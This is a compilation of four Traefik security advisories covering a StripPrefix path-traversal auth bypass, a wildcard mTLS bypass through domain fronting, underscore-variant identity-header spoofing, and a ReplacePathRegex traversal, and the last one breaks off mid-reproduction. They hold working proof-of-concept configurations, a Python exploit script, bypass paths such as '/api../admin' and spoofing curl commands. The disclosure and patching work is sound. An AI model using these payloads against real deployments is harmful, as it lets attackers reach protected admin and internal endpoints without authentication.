Summary
There is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.48 - https://github.com/traefik/traefik/releases/tag/v3.6.19 - https://github.com/traefik/traefik/releases/tag/v3.7.3
For more information
If there are any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../)
Summary
A route-level authentication/authorization bypas was found in Traefik when PathPrefix-based public routes are combined with StripPrefix.
A request using /api../ or /api%2e%2e/ can avoid protected router rules at the routing stage, but after StripPrefix, the path is normalized and forwarded to the backend as a protected path such as /admin or /internal/config.
This is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed StripPrefixRegex / path-normalization issues.
This report specifically affects StripPrefix.
Affected Versions Tested
| Image | Observed Version | Result | |---|---|---| | traefik:v2.11 | v2.11.46 | Affected | | traefik:v3.6 | v3.6.17 | Affected | | traefik:latest | v3.7.1 | Affected |
Lab Contrast
| Image | Result | |---|---| | traefik:v2.10 | Not reproduced in lab | | traefik:v3.5 | Not reproduced in lab |
Vulnerable Configuration Pattern
The issue appears when:
- a broad public route strips a prefix - while a separate protected route is intended to guard internal/admin paths
yaml http: routers: public-api: rule: 'PathPrefix(/api) && !PathPrefix(/api/admin) && !PathPrefix(/api/internal)' entryPoints: - web middlewares: - strip-api service: backend
protected: rule: 'PathPrefix(/admin) || PathPrefix(/internal)' entryPoints: - web middlewares: - auth service: backend
middlewares: strip-api: stripPrefix: prefixes: - /api
auth: basicAuth: users: - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
services: backend: loadBalancer: servers: - url: http://backend:9000
Observed Behavior
Direct Protected Paths
These are correctly blocked.
| Request | Expected | Observed | |---|---|---| | GET /admin | Blocked | 401 | | GET /internal/config | Blocked | 401 |
Expected Public Exclusions
These do not expose protected backend paths.
| Request | Expected | Observed | |---|---|---| | GET /api/admin | Not routed to protected backend path | 404 | | GET /api/internal/config | Not routed to protected backend path | 404 |
Bypass Payloads
These reach protected backend paths.
| Request | Observed Status | Backend Receives | |---|---|---| | GET /api../admin | 200 | /admin | | GET /api%2e%2e/admin | 200 | /admin | | GET /api../internal/config | 200 | /internal/config | | GET /api%2e%2e/internal/config | 200 | /internal/config |
Minimal PoC
docker-compose.yml
yaml services: traefik: image: traefik:v3.7 command: - --providers.file.filename=/etc/traefik/dynamic.yml - --entrypoints.web.address=:8080 - --accesslog=true ports: - "127.0.0.1:18080:8080" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro dependson: - backend
backend: image: python:3.12-slim workingdir: /app command: python backend.py volumes: - ./backend.py:/app/backend.py:ro expose: - "9000"
dynamic.yml
yaml http: routers: public-api: rule: 'PathPrefix(/api) && !PathPrefix(/api/admin) && !PathPrefix(/api/internal)' entryPoints: - web middlewares: - strip-api service: backend
protected: rule: 'PathPrefix(/admin) || PathPrefix(/internal)' entryPoints: - web middlewares: - auth service: backend
middlewares: strip-api: stripPrefix: prefixes: - /api
auth: basicAuth: users: - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
services: backend: loadBalancer: servers: - url: http://backend:9000
backend.py
python from http.server import BaseHTTPRequestHandler, HTTPServer import json
class Handler(BaseHTTPRequestHandler): def logmessage(self, fmt, args): return
def json(self, status, obj): body = json.dumps(obj).encode() self.sendresponse(status) self.sendheader("Content-Type", "application/json") self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)
def doGET(self): if self.path == "/admin": self.json(200, { "seenpath": self.path, "secret": "ADMINSECRETREACHED" }) elif self.path == "/internal/config": self.json(200, { "seenpath": self.path, "secret": "TRAEFIKLABINTERNALCONFIG" }) elif self.path == "/admin/exec": self.json(200, { "seenpath": self.path, "rcechainmarker": True, "note": "protected execution endpoint reached" }) else: self.json(404, { "seenpath": self.path, "secret": None })
HTTPServer(("0.0.0.0", 9000), Handler).serveforever()
poc.py
python #!/usr/bin/env python3 from urllib.request import Request, urlopen from urllib.error import HTTPError
BASE = "http://127.0.0.1:18080"
PATHS = [ "/admin", "/internal/config", "/api/admin", "/api/internal/config", "/api../admin", "/api%2e%2e/admin", "/api../internal/config", "/api%2e%2e/internal/config", "/admin/exec", "/api/admin/exec", "/api../admin/exec", "/api%2e%2e/admin/exec", ]
for path in PATHS: req = Request(BASE + path) try: with urlopen(req, timeout=5) as r: status = r.status body = r.read().decode(errors="replace") except HTTPError as e: status = e.code body = e.read().decode(errors="replace")
print(f"{path:28} {status} {body[:180]}")
Run
bash docker compose up -d python3 poc.py
Expected Vulnerable Output
text /admin 401 /internal/config 401 /api/admin 404 /api/internal/config 404 /api../admin 200 backend seenpath=/admin /api%2e%2e/admin 200 backend seenpath=/admin /api../internal/config 200 backend seenpath=/internal/config /api%2e%2e/internal/config 200 backend seenpath=/internal/config /api../admin/exec 200 protected execution endpoint reached /api%2e%2e/admin/exec 200 protected execution endpoint reached
Root Cause Hypothesis
The vulnerable behavior appears to be caused by path normalization after prefix stripping.
text Incoming path: /api../admin After StripPrefix("/api"): /../admin After JoinPath(): /admin
The request does not match the protected /admin router at the routing stage, but the backend receives /admin after normalization.
The relevant behavior appears related to StripPrefix calling req.URL.JoinPath() after removing the prefix in newer versions.
Security Impact
An unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router.
Potential impact includes:
- Access to protected admin paths - Access to internal configuration endpoints - Exposure of secrets returned by internal backends - Access to protected backend management functionality - Conditional RCE if the protected backend exposes an execution primitive
In the local lab, a protected /admin/exec endpoint was reachable through /api../admin/exec, demonstrating a conditional RCE chain when the backend contains an execution primitive.
This is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality.
Suggested Severity
Suggested CVSS is 10.0 Critical with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality.
text CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Scope Changed was selected because the request bypasses Traefik's route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router.
If the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as 9.1 Critical with Scope Unchanged:
text CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
The issue was submitted with the stronger Scope Changed interpretation, but the maintainers may adjust the final CVSS score during triage.
Weakness
Primary CWE:
- CWE-863: Incorrect Authorization
Related weakness candidates:
- CWE-180: Incorrect Behavior Order: Validate Before Canonicalize - CWE-22: Improper Limitation of a Pathname to a Restricted Directory
Mitigation Verified in Lab
The bypass was blocked when using a stricter prefix boundary:
text PathRegexp(^/api(/|$))
or:
text PathPrefix(/api/) with StripPrefix(/api/)
Relation to Existing Advisories
This appears related to the same vulnerability family as prior Traefik path normalization / StripPrefixRegex bypass advisories, but it affects StripPrefix and remains reproducible on patched/latest versions tested above.
This was reported as a possible incomplete fix or bypass variant rather than assuming it is a duplicate.
Reporter
WonYun / kyun0
</details>
Summary
There is a high severity vulnerability in Traefik's domain-fronting protection (SNICheck) that allows an unauthenticated client to bypass mutual TLS enforced through wildcard router TLSOptions. When a router uses a wildcard host rule such as Host(.example.com) with stricter TLS options (for example RequireAndVerifyClientCert), SNICheck resolves the TLS options for the HTTP Host header using exact map lookups only and never applies wildcard matching. If another permissive SNI is served on the same entrypoint, an attacker can complete the TLS handshake under the permissive options and then send an HTTP Host header targeting the wildcard-protected backend, reaching it without presenting a client certificate. This affects the regular HTTPS / HTTP-2 path and does not require HTTP/3.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.7.3
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's SNICheck domain-fronting protection ignores wildcard TLSOptions mappings. A wildcard router such as Host(".example.com") can require mTLS for direct access, but an unauthenticated client can complete the TLS handshake with another permissive SNI on the same entrypoint and then send Host: api.example.com / HTTP request authority api.example.com to reach the wildcard-protected backend.
This issue does not require HTTP/3. The PoC uses the regular HTTPS/HTTP2 path and abuses the domain-fronting consistency check between TLS SNI and the HTTP Host header.
For HTTP/2, this corresponds to the request authority / Host value as exposed to Traefik's HTTP request handling.
Details
For the v3 rule-syntax / file-provider path used in this PoC, wildcard Host / HostSNI matching and TLSOptions association for wildcard domains were introduced in Traefik v3.7. The normal HTTPS/TCP router path uses wildcard-aware matching. The SNICheck middleware does not.
The router build records TLS option names for host rules:
go domains, err := httpmuxer.ParseDomains(routerHTTPConfig.Rule) // ... tlsOptionsForHost[domain] = tlsOptionsName
The HTTPS forwarder then installs SNI routes:
go rule := fmt.Sprintf(HostSNI(%q), sniHost)
HostSNI matching is wildcard-aware:
go return muxer.DomainMatchHostExpression(meta.serverName, hostExpr)
But pkg/middlewares/snicheck/snicheck.go resolves the host's TLS option name with exact lookups only:
go func findTLSOptionName(tlsOptionsForHost map[string]string, host string, fqdn bool) string { name := findTLSOptName(tlsOptionsForHost, host, fqdn) if name != "" { return name }
name = findTLSOptName(tlsOptionsForHost, strings.ToLower(host), fqdn) if name != "" { return name }
return traefiktls.DefaultTLSConfigName }
func findTLSOptName(tlsOptionsForHost map[string]string, host string, fqdn bool) string { if tlsOptions, ok := tlsOptionsForHost[host]; ok { return tlsOptions }
if !fqdn { return "" }
if last := len(host) - 1; last >= 0 && host[last] == '.' { if tlsOptions, ok := tlsOptionsForHost[host[:last]]; ok { return tlsOptions }
return "" }
if tlsOptions, ok := tlsOptionsForHost[host+"."]; ok { return tlsOptions }
return "" }
There is no wildcard matching step for entries such as .example.com. As a result, Host: api.example.com can be classified as using default TLS options even though the router matched a wildcard host with stricter TLSOptions.
Preconditions:
- A protected router uses wildcard Host / HostSNI with router-specific TLSOptions. - The protected wildcard router uses stricter TLS options, such as RequireAndVerifyClientCert. - Another SNI/default TLS path on the same entrypoint allows a handshake without a client certificate. - The client can send an HTTP Host header different from the TLS SNI.
Relationship to my previous HTTP/3 report:
I previously submitted a related HTTP/3 mTLS bypass involving Router.GetTLSGetClientInfo() and exact/case-sensitive SNI lookup.
This report is separate. It does not require HTTP/3 or QUIC. It affects the regular HTTPS/HTTP2 path and is caused by SNICheck resolving tlsOptionsForHost with exact lookups only, without wildcard matching. The exploit uses domain fronting: a permissive TLS SNI is used for the handshake, while the HTTP request authority / Host header targets a wildcard-protected backend.
Relationship to public issue #12349:
This is related to public issue #12349, where wildcard hosts were observed to be classified as default by SNICheck, causing unexpected 421 Misdirected Request responses in some wildcard setups:
text TLS options difference: SNI:https-ext@file, Header:default
The public issue demonstrates the same wildcard resolution gap as an availability/operational problem. This report demonstrates a security-impacting false-negative variant that can bypass router-specific mTLS when a permissive SNI exists on the same entrypoint. When the attacker chooses a permissive/default SNI and sends a protected wildcard host in the HTTP Host header, both sides can be classified as default, so SNICheck does not return 421. The later HTTP router then matches the wildcard-protected backend and the request is forwarded without enforcing the wildcard route's mTLS policy.
Related wildcard SNICheck behavior has also been observed in Kubernetes Ingress setups, as described in public issue #12349. The PoC below uses the file provider and v3 rule syntax to keep the reproduction minimal and self-contained.
Minimal dynamic configuration:
yaml http: routers: protected: rule: Host(.example.com) service: protected tls: options: mtls
public: rule: Host(public.example.net) service: public tls: {}
services: protected: loadBalancer: servers: - url: http://protected:80
public: loadBalancer: servers: - url: http://public:80
tls: certificates: - certFile: /certs/server.crt keyFile: /certs/server.key
options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert
Minimal Docker Compose:
yaml services: traefik: image: traefik:v3.7.1 command: - --log.level=DEBUG - --entrypoints.websecure.address=:8443 - --providers.file.filename=/etc/traefik/dynamic.yml - --providers.file.watch=false ports: - "8443:8443" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro - ./certs:/certs:ro dependson: - protected - public
protected: image: traefik/whoami:v1.11 command: - --name=PROTECTED
public: image: traefik/whoami:v1.11 command: - --name=PUBLIC
Certificate generation:
bash rm -rf certs mkdir -p certs
openssl req -x509 -newkey rsa:2048 -nodes -days 7 \ -keyout certs/ca.key \ -out certs/ca.crt \ -subj "/CN=traefik-poc-ca"
openssl req -newkey rsa:2048 -nodes \ -keyout certs/server.key \ -out certs/server.csr \ -subj "/CN=public.example.net" \ -addext "subjectAltName=DNS:public.example.net,DNS:api.example.com,DNS:.example.com"
openssl x509 -req \ -in certs/server.csr \ -CA certs/ca.crt \ -CAkey certs/ca.key \ -CAcreateserial \ -out certs/server.crt \ -days 7 \ -sha256 \ -copyextensions copyall
PoC
Start Traefik with the configuration above.
Test environment:
- Traefik images tested: v3.7.0, v3.7.1 - Backend image: traefik/whoami:v1.11 - Client: curl with HTTPS/HTTP2 support - EntryPoint: TCP port 8443 exposed locally - Provider: file provider
Control 1: the permissive public route works normally and reaches the public backend:
bash curl --noproxy '' --http2 -skv \ --resolve public.example.net:8443:127.0.0.1 \ https://public.example.net:8443/
Observed result:
text HTTP/2 200 Name: PUBLIC Host: public.example.net:8443
Control 2: direct access to the wildcard-protected host without a client certificate is blocked:
bash curl --noproxy '' --http2 -skv \ --resolve api.example.com:8443:127.0.0.1 \ https://api.example.com:8443/
Observed result:
text TLS alert ... certificate required
Bypass: use the permissive public SNI for the TLS handshake, but send the protected wildcard host in the HTTP request:
bash curl --noproxy '' --http2 -skv \ --resolve public.example.net:8443:127.0.0.1 \ https://public.example.net:8443/ \ -H 'Host: api.example.com'
Observed result:
text HTTP/2 200 Name: PROTECTED Host: api.example.com
The curl verbose output shows that the HTTP/2 request authority / Host value is api.example.com, while the TLS SNI is taken from the URL host public.example.net:
text [HTTP/2] [1] [:authority: api.example.com] Host: api.example.com
Expected result:
text HTTP/2 421 Misdirected Request
Traefik should return 421 Misdirected Request because the HTTP Host header resolves to the wildcard route's mtls TLSOptions while the TLS SNI resolves to permissive/default TLSOptions.
Negative control with exact host:
Replacing the protected router rule with exact Host("api.example.com") while keeping tls.options=mtls causes the same domain-fronting request to be rejected:
yaml http: routers: protected: rule: Host(api.example.com) service: protected tls: options: mtls
Run the same request:
bash curl --noproxy '' --http2 -skv \ --resolve public.example.net:8443:127.0.0.1 \ https://public.example.net:8443/ \ -H 'Host: api.example.com'
Observed result:
text HTTP/2 421 Misdirected Request
This shows that the bypass depends on wildcard TLSOptions resolution in SNICheck, not on a generic failure of the domain-fronting check.
Regression test used during validation:
bash go test ./pkg/middlewares/snicheck \ -run TestSNICheckWildcardTLSOptionsCurrentBehavior \ -count=1
Version matrix observed with Docker images:
text v3.6.17: this file-provider wildcard PoC did not reproduce; the wildcard route returned 404 in this setup v3.7.0: affected v3.7.1: affected
Impact
Deployments that use wildcard router TLSOptions for client certificate authentication can expose protected backends to unauthenticated clients when another permissive SNI exists on the same entrypoint.
The TLS handshake is completed under the permissive/default TLS options selected for the SNI, while the later HTTP router still dispatches the request to the wildcard route that was configured with mTLS-specific TLSOptions. This bypasses a security boundary that administrators can reasonably expect to be enforced by tls.options=mtls on the wildcard route.
A possible fix would be for SNICheck to resolve tlsOptionsForHost using the same wildcard-aware host matching semantics used by the router / HostSNI matching, rather than exact map lookups only.
Possible workarounds until a fix is available:
- Avoid wildcard router TLSOptions for mTLS access control. - Enumerate exact protected hostnames instead of using wildcard Host rules. - Enforce mTLS in the default TLS options as well. - Avoid mixing permissive and mTLS-protected hosts on the same entrypoint. - Block or reject domain-fronted requests at another layer.
</details>
---
Summary
There is a high severity vulnerability in Traefik's BasicAuth, DigestAuth, and ForwardAuth middlewares. The fix for CVE-2026-33433 stripped canonical-cased spoofed identity headers (e.g. X-Auth-User) before writing Traefik's own value, but did not account for underscore-variant header names (e.g. XAuthUser), which many backends normalize identically to the dashed form. An attacker able to reach a protected route could inject an underscore-variant header that survives Traefik's stripping and reaches the backend alongside — or, on the unauthenticated ForwardAuth authResponseHeaders path, instead of — the value Traefik intended to set, spoofing identity or authorization context. This is fixed by setting the new allowHeadersWithUnderscores: false entry point option, which strips all headers with underscores in their names before routing.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.51 - https://github.com/traefik/traefik/releases/tag/v3.6.22 - https://github.com/traefik/traefik/releases/tag/v3.7.6
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth
Summary
The fix for CVE-2026-33433 (GHSA-qr99-7898-vr7c, "BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField", patched in v2.11.42 / v3.6.12 / v3.7.0-ea.3) added req.Header.Del(headerField) before the literal-key writeback in pkg/middlewares/auth/basicauth.go and pkg/middlewares/auth/digestauth.go. Go's Header.Del calls textproto.CanonicalMIMEHeaderKey which canonicalizes ASCII CASE and treats - as a word separator — so the fix correctly strips canonical-cased attacker headers (X-Auth-User, x-auth-user, X-AUTH-USER, etc.).
However, textproto.CanonicalMIMEHeaderKey does NOT treat as a separator. Attacker-supplied underscore-variant headers such as XAuthUser survive Header.Del("X-Auth-User") intact and are forwarded to the backend alongside Traefik's own writeback. Many common backends (CGI/WSGI per RFC 3875, PHP $SERVER, nginx with underscoresinheaders on, Tomcat / Java EE servlet containers, ASGI/WSGI frameworks) normalize ↔ - equivalently or expose both forms to application code that may read the attacker's value.
This is the direct cross-cohort sibling of the threat model the maintainer accepted in CVE-2026-39858 (GHSA-5m6w-wvh7-57vm, "Forwarded alias spoofing pre-auth decision bypass"), which fixed the underscore-variant of the X-Forwarded- family via isManagedXHeader in pkg/middlewares/forwardedheaders/forwardedheader.go. The CVE-2026-39858 advisory body states verbatim:
"When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials."
The same threat model applies to the operator-configurable headerField (BasicAuth, DigestAuth) and authResponseHeaders (ForwardAuth, ingress-nginx snippet provider), but the underscore-handling primitive (isManagedXHeader) was not extended to those middlewares. I verified the bypass end-to-end on traefik:v3.6.14 (the latest patched release containing both fixes) using a default-recommended canonical headerField: "X-Auth-User" config and reproduced the bypass with a single curl -H "XAuthUser: superadmin" ... request alongside valid BasicAuth credentials.
The defect is present in four code paths at HEAD eec68dce064f843b4317c4393aaea81b6dea31d6:
1. pkg/middlewares/auth/basicauth.go:101-105 — BasicAuth headerField 2. pkg/middlewares/auth/digestauth.go:99-103 — DigestAuth headerField 3. pkg/middlewares/auth/forward.go:304-310 — ForwardAuth authResponseHeaders per-name writeback 4. pkg/middlewares/ingressnginx/snippet/snippet.go:480-486 — Ingress-NGINX snippet authResponseHeaders per-name writeback
The ForwardAuth instance (#3) is particularly notable: the attacker does NOT need credentials. The authResponseHeaders mechanism is intended to copy identity headers from the trusted auth server only; the underscore-variant bypass lets an unauthenticated attacker pre-inject the same identity header before any auth happens.
The fast proxy at pkg/proxy/fast/proxy.go:139 explicitly calls DisableNormalizing() on the outgoing fasthttp request, guaranteeing that the underscore-variant header reaches the backend wire verbatim. The standard httputil.ReverseProxy path at pkg/proxy/httputil/proxy.go:55 likewise copies req.Header keys as-is during the wire write.
Affected versions
- traefik v3.6.x ≤ 3.6.14, v3.7.x ≤ 3.7.0-rc.2, v2.11.x ≤ 2.11.43, and all earlier versions sharing the same auth middleware architecture.
The defect is present at HEAD post-CVE-2026-33433 fix (the fix added the Del line but the literal-key write defect-class survives for underscore variants).
Root cause
In pkg/middlewares/auth/basicauth.go at HEAD eec68dc:
go if b.headerField != "" { // TODO Deprecated we should add the header with canonical key. req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user} }
The TODO comment shows the maintainer is aware of the literal-key write problem in general (canonical-key write would solve the case-canonicalization issue more cleanly than the current Del + literal-write pair). The comment does not acknowledge the underscore-variant survival corollary.
pkg/middlewares/auth/digestauth.go:99-103 and the two ForwardAuth paths follow the same Del + literal-write pattern. Each is independently exploitable; the underlying primitive defect is shared.
The maintainer's gold-standard primitive for handling this exact threat class is pkg/middlewares/forwardedheaders/forwardedheader.go:53-66:
go func isManagedXHeader(key string) bool { if len(key) == 0 || key[0] != 'X' { return false } if , ok := XHeadersSet[key]; ok { return true } if strings.IndexByte(key, '') < 0 { return false } canonical := http.CanonicalHeaderKey(strings.ReplaceAll(key, "", "-")) , ok := XHeadersSet[canonical] return ok }
This treats ↔ - equivalence as a security requirement. It is reachable only via the static XHeadersSet membership check, which contains exclusively the X-Forwarded- family + X-Real-Ip. Operator-configurable identity headers are out of scope of this primitive.
Proof of concept
Verified on traefik:v3.6.14 (the patched version, post-CVE-2026-33433 and post-CVE-2026-39858) using Docker compose. Full reproducer at https://github.com/<attacker-repo>/traefik-ht1a-poc; commands below are verbatim.
Setup
yaml docker-compose.yml services: traefik: image: traefik:v3.6.14 command: - --providers.file.filename=/etc/traefik/dynamic.yml - --entrypoints.web.address=:80 ports: - "8080:80" volumes: - ./traefik/dynamic.yml:/etc/traefik/dynamic.yml:ro echo: image: mendhak/http-https-echo:36 environment: - HTTPPORT=8888
yaml traefik/dynamic.yml — canonical headerField, recommended operator config http: routers: protected: rule: "PathPrefix(/)" service: echo middlewares: [basic-auth] services: echo: loadBalancer: servers: [{url: "http://echo:8888"}] middlewares: basic-auth: basicAuth: users: - 'alice:$2b$05$FhDfYidZdDPuQjovYqcTAe22wHpQ/cILC7Tr2yAD6vLlvZh/Q45PC' # alice:secret123 headerField: "X-Auth-User"
docker compose up -d.
Test 1 (control — CVE-2026-33433 fix works for canonical case)
bash $ curl -s -u alice:secret123 -H "X-Auth-User: superadmin" http://localhost:8080/ { ... "x-auth-user": "alice", ... }
The attacker's canonical X-Auth-User: superadmin was correctly stripped by Traefik's Del; the backend receives only Traefik's authenticated-user writeback alice.
Test 2 (HT-1A bypass — underscore variant survives)
bash $ curl -s -u alice:secret123 -H "XAuthUser: superadmin" http://localhost:8080/ { ... "x-auth-user": "alice", "xauthuser": "superadmin", ... }
The underscore-variant xauthuser: superadmin reached the backend intact, despite the Del("X-Auth-User") having executed. The backend sees both forms.
Test 3 (double-send — same result)
bash $ curl -s -u alice:secret123 \ -H "X-Auth-User: superadmin" \ -H "XAuthUser: superadmin" \ http://localhost:8080/ { ... "x-auth-user": "alice", # Traefik's writeback "xauthuser": "superadmin", # attacker's underscore — survived Del ... }
The canonical attacker header is stripped (Test 1 behavior). The underscore variant is forwarded.
Backend impact
The PoC's echo backend (mendhak/http-https-echo, Node.js) preserves both forms with the lowercase normalization Node.js applies. Application code reading req.headers["x-auth-user"] sees alice. Application code reading req.headers["xauthuser"] sees superadmin.
For backends that normalize ↔ - equivalently — meaning the attacker's value wins:
- CGI / WSGI / PHP $SERVER (RFC 3875 §4.1.18 — header name uppercased with - replaced by ): both X-Auth-User and XAuthUser map to HTTPXAUTHUSER. The last-set wins per the WSGI server's iteration order; many servers (gunicorn, uwsgi without --disable-logging, waitress) preserve both. Note: Apache + modphp with default HttpProtocolOptions Strict filters underscore-headers from $SERVER (this PoC's PHP backend test demonstrated the filter); Apache + modpython, Apache + modwsgi without the strict mode, nginx + uwsgi, nginx + gunicorn, nginx + FastCGI, and standalone WSGI servers do NOT filter. - nginx with underscoresinheaders on (https://nginx.org/en/docs/http/ngxhttpcoremodule.html#underscoresinheaders): preserves underscore-variant headers and forwards them to upstream as separate values. Upstream application logic that does case-insensitive + underscore-insensitive matching (common pattern in security-sensitive code) merges them. - Tomcat / Java EE servlet containers: HttpServletRequest.getHeader(name) is case-insensitive; underscore handling is container-specific. Many normalize. - Application middleware (WAFs, log aggregators, security gateways, identity-aware proxies) that normalize header names before applying security policy: both forms collapse to the same authorization decision input.
Severity
I propose HIGH CVSS 7.5 for the BasicAuth / DigestAuth case and CRITICAL CVSS 9.1 for the ForwardAuth authResponseHeaders case (the latter requires no credentials).
CVSS 3.1 vector (BasicAuth / DigestAuth): AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N=7.5 — one step above CVE-2026-33433 (which the maintainer scored MEDIUM 5.1 because it required misconfigured non-canonical headerField). HT-1A works against the canonical / recommended headerField configuration, broader operational scope.
CVSS 3.1 vector (ForwardAuth authResponseHeaders): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N=9.1 — parallel to CVE-2026-39858 (HIGH 7.5) but achieves spoofing without credentials because the authResponseHeaders mechanism trusts headers exclusively from the auth server and the underscore variant defeats that trust boundary.
CWEs: - CWE-290 (Authentication Bypass by Spoofing) - CWE-178 (Improper Handling of Case Sensitivity) — analogous to CVE-2026-29054 - CWE-345 (Insufficient Verification of Data Authenticity) — same as CVE-2026-35051
Suggested fix
Two equivalent approaches:
1. Extend Header.Del to handle underscore variants at the four call sites. Replace:
go req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user}
with:
go canonical := http.CanonicalHeaderKey(b.headerField) // Strip canonical AND underscore-variant of the canonical key. for key := range req.Header { if key == canonical || strings.EqualFold(strings.ReplaceAll(key, "", "-"), canonical) { delete(req.Header, key) } } req.Header.Set(canonical, user) // canonical-key write
This pairs the headerField primitive with the same ↔ - equivalence that isManagedXHeader enforces for X-Forwarded-.
2. Generalize the existing isManagedXHeader primitive into a stripHeaderAndVariants(headers http.Header, name string) helper in the forwardedheaders package and call it from basicauth.go, digestauth.go, forward.go, and snippet.go. Reusing the existing gold-standard primitive is the cleanest fix and minimizes future drift.
Either approach should also resolve the // TODO Deprecated we should add the header with canonical key. debt at basicauth.go:102 and digestauth.go:100 by writing to the canonical key (Header.Set(canonical, user)) instead of the literal b.headerField.
Why this is a Pattern-8 sibling, not a new CVE class
The combination of:
1. CVE-2026-33433's fix scope (case-canonicalization for headerField) 2. CVE-2026-39858's fix scope (underscore-variant for XHeadersSet) 3. The defective primitive remaining at HEAD (the Del + literal-write pair at four call sites)
establishes that the maintainer accepts the threat model and has architectural primitives to fix it — but did not cross the two cohorts. The "primitive depth-audit" of the CVE-2026-33433 fix (reading the actual Header.Del implementation against the documented threat model and Go's canonicalization semantics) reveals the gap.
I confirmed there is no public PoC mentioning underscore-variant siblings of CVE-2026-33433 (WebSearched 2026-05-23). The fix-flurry from the April 2026 security release batch addressed the X-Forwarded family but not the headerField family.
Credit
Matteo Panzeri (GitHub matte1782). CVE credit requested.
AI-assistance disclosure
Static analysis, hypothesis writing, and hostile-review confirmation were assisted by Anthropic Claude (Opus 4.7). Live PoC reproduction, code-citation verification, and submission decision were made by the human author.
</details>
---
Summary
There is a critical authentication-bypass vulnerability in Traefik's ReplacePathRegex middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example regex: "^/api(.)", replacement: "/$1"), a crafted request can produce an un-normalized replacement path such as /../admin, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for StripPrefix in CVE-2026-48020; that post-replacement normalization check had not been applied to ReplacePathRegex. The fix rejects any request whose replaced path does not match its normalized form.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.52 - https://github.com/traefik/traefik/releases/tag/v3.6.23 - https://github.com/traefik/traefik/releases/tag/v3.7.7
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary A path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex.
Details When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., regex: "^/api(.)", replacement: "/$1"), an attacker can inject implicit traversal sequences into the capture group.
Root cause: pkg/middlewares/replacepathregex/replacepathregex.go, function ServeHTTP (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix.
Attack flow:
1. Attacker sends GET /api../admin 2. sanitizePath passes it unchanged (api.. is a valid segment name, not a dot-segment) 3. Router matches PathPrefix(/api) → selects the public router (no auth middleware) 4. ReplacePathRegex applies ^/api(.) → captures ../admin → replacement produces /../admin 5. No normalization check exists → path forwarded to backend as-is 6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes /../admin to /admin 7. Attacker receives protected content without authentication
Suggested fix: Add the same JoinPath equality check after line 67:
go if cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path { http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest) return }
PoC Prerequisites: Docker Engine 20.10+, Docker Compose v2, curl
1. Create docker-compose.yml:
yaml services: traefik: image: traefik:v3.7.6 command: - "--api.insecure=true" - "--providers.file.filename=/etc/traefik/dynamic.yml" - "--entrypoints.web.address=:80" ports: - "8080:8080" - "80:80" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro healthcheck: test: ["CMD", "traefik", "healthcheck"] interval: 5s timeout: 3s retries: 5 backend: image: node:22-alpine workingdir: /app volumes: - ./server.js:/app/server.js:ro command: ["node", "server.js"] healthcheck: test: ["CMD", "wget", "-qO-", "http://localhost:3000/health"] interval: 5s timeout: 3s retries: 5
2. Create dynamic.yml:
